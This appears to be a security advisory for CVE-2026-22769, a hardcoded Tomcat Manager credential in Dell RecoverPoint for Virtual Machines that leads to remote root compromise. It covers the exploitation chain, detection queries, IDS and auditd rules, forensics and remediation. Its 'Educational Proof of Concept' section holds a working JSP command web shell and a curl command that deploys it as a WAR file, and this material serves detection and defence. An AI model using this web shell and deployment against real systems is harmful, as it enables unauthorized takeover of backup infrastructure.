CVE-2026-22769: Critical Hardcoded Credential in Dell RecoverPoint Enables Remote Root Takeover

Dell RecoverPoint for Virtual Machines – Hardcoded Credential Leading to Remote Root Access

CVE ID: CVE-2026-22769
Affected Product: Dell RecoverPoint for Virtual Machines
Vulnerability Type: Hardcoded Credential (Authentication Bypass)
Impact: Remote Code Execution → Root-Level System Compromise
CVSS v3.1 Score: 10.0 (Critical)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Exploit Complexity: Low
Severity: Critical
Exploit Status: Exploited in the wild
Public PoC: Limited circulation; techniques publicly known in security community

Overview

A critical security issue was identified in Dell RecoverPoint for Virtual Machines where a hardcoded administrative credential existed within the embedded Apache Tomcat management component. Because this credential was built into the product, it could not be changed by administrators. If the Tomcat Manager interface was reachable over the network, authentication could be performed using the hardcoded account without requiring legitimate administrative access.

Once authenticated, application deployment functionality within Tomcat could be abused to upload a malicious WAR (Web Application Archive) file. This action would result in remote code execution within the context of the Tomcat service. From there, privilege escalation to root could be achieved on the underlying appliance operating system.

The vulnerability effectively allowed a complete takeover of affected systems remotely.

Technical Root Cause

RecoverPoint for Virtual Machines includes an embedded Apache Tomcat instance for management purposes. Within its configuration, a static username and password were present for administrative access to the Tomcat Manager application.

The following security weaknesses were introduced:

Hardcoded credential stored within configuration
Tomcat Manager exposed to network access
Application deployment functionality enabled
Insufficient access restrictions on management interface

Because the credential was embedded and not user-configurable, compromise was possible as soon as the credential became known or extracted.

Affected Versions

Affected versions include RecoverPoint for Virtual Machines releases prior to the patched versions specified by Dell.

Upgrade is required to:

6.0.3.1 HF1 or later
Or the vendor-specified fixed build in the official advisory

Refer to the official Dell advisory for exact version guidance.

Exploitation Methodology

The exploitation chain typically follows these steps:

1. Discovery

Management interface identified through:

Port scanning (commonly TCP 8080 / 8443)
Shodan-style exposure searches
Internal reconnaissance

2. Authentication Bypass

Hardcoded credential used to authenticate to:

/manager/html
/manager/text

3. Malicious WAR Deployment

Tomcat Manager deployment endpoint abused:

POST /manager/text/deploy?path=/shell&update=true

A malicious WAR file containing JSP-based command execution logic uploaded.

4. Web Shell Execution

Access to:

http://target/shell/cmd.jsp?cmd=id

Command execution achieved.

5. Privilege Escalation

Persistence established via:

Cron jobs
Systemd services
Modified startup scripts
Root-level backdoor installation

Full system compromise achieved.

Educational Proof of Concept

Below example demonstrates how attackers deploy WAR file using Tomcat Manager credentials.

Step 1 – Create simple JSP shell

<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
OutputStream os = response.getOutputStream();
InputStream in = p.getInputStream();
int ch;
while((ch=in.read())!=-1)
    os.write(ch);
in.close();
%>

Packaged into:

shell.war

Step 2 – Deploy WAR

curl -u admin:HARDCODED_PASSWORD \
  --upload-file shell.war \
  "http://target:8080/manager/text/deploy?path=/shell&update=true"

Step 3 – Execute Command

http://target:8080/shell/cmd.jsp?cmd=whoami

If vulnerable, output would return:

root

This demonstration is provided strictly for detection and defensive education.

MITRE ATT&CK Mapping

T1078 – Valid Accounts (Hardcoded Credential Abuse)
T1190 – Exploit Public-Facing Application
T1505.003 – Web Shell
T1059 – Command and Scripting Interpreter
T1543 – Create or Modify System Process
T1021 – Remote Services (Lateral Movement)
T1071 – Application Layer Protocol (C2 over HTTP/S)

Indicators of Compromise

The following artifacts may indicate exploitation:

Unknown WAR files inside: /usr/local/tomcat/webapps/
Suspicious JSP files
Newly created systemd services
Cron jobs referencing unusual scripts
Unexpected outbound connections from appliance
Unknown user accounts created
Logins to Tomcat Manager from untrusted IPs

Log Sources for Detection

Detection should rely on:

Tomcat access logs
Tomcat manager logs
Linux syslog
Auditd logs
EDR telemetry
Firewall logs
Network IDS
VMware vCenter logs

Detection Queries

Splunk – Tomcat Manager Deployment Activity

index=web_logs
uri_path="/manager/*"
| stats count by src_ip, http_method, uri_path, status
| where http_method="POST" OR http_method="PUT"

Splunk – Suspicious WAR File Creation

index=os_logs
file_path="/usr/local/tomcat/webapps/*.war"
| stats count by host, file_name, user

Splunk – Web Shell Execution Indicators

index=web_logs
uri_query="*cmd=*"
| stats count by src_ip, uri_path, uri_query

Linux Auditd Rule

Monitor webapps directory:

-w /usr/local/tomcat/webapps/ -p wa -k tomcat_webapp_changes

Search audit logs:

ausearch -k tomcat_webapp_changes

Network Detection – IDS Logic

Alert on:

HTTP POST to /manager/text/deploy
Multiple authentication attempts to /manager/html
Unusual outbound HTTP traffic from appliance

Example Suricata-style rule:

alert http any any -> $HOME_NET any (
msg:"Tomcat Manager WAR Deployment";
flow:established,to_server;
content:"/manager/text/deploy";
http_uri;
sid:100001;
rev:1;
)

Forensic Investigation Steps

Capture full disk image of appliance.
Export Tomcat logs.
Hash and analyze WAR files.
Review /etc/passwd and /etc/shadow.
Inspect /etc/systemd/system/.
Examine crontab entries.
Review outbound network traffic history.
Validate integrity of RecoverPoint services.

If root compromise confirmed, rebuild appliance from trusted image.

Business Impact

Full takeover of backup/recovery infrastructure
Potential access to virtual machine data
Lateral movement into VMware environment
Data exfiltration
Long-term persistence inside enterprise network

Because RecoverPoint manages replication and disaster recovery data, compromise may allow attackers to manipulate or access sensitive backup copies.

Remediation

Immediate actions required:

Upgrade to patched version specified in Dell advisory.
Restrict network access to management interface.
Disable or restrict Tomcat Manager if not required.
Rotate credentials across environment.
Perform compromise assessment.

Official Patch and Upgrade Guidance:
https://www.dell.com/support/kbdoc/en-us/000426773

Security Hardening Recommendations

Place appliance in dedicated management VLAN.
Enforce firewall rules limiting access to trusted IP ranges.
Enable EDR monitoring on appliance if supported.
Monitor for WAR file deployment activity continuously.
Conduct periodic configuration audits.
Implement network segmentation for backup systems.

Conclusion

CVE-2026-22769 represents a high-impact authentication bypass vulnerability caused by a hardcoded credential embedded in the RecoverPoint for Virtual Machines management component. Because exploitation requires no user interaction and can result in root-level control of the appliance, risk exposure is significant.

Systems exposed to network access while unpatched should be treated as potentially compromised. Immediate upgrade and validation of system integrity are strongly recommended.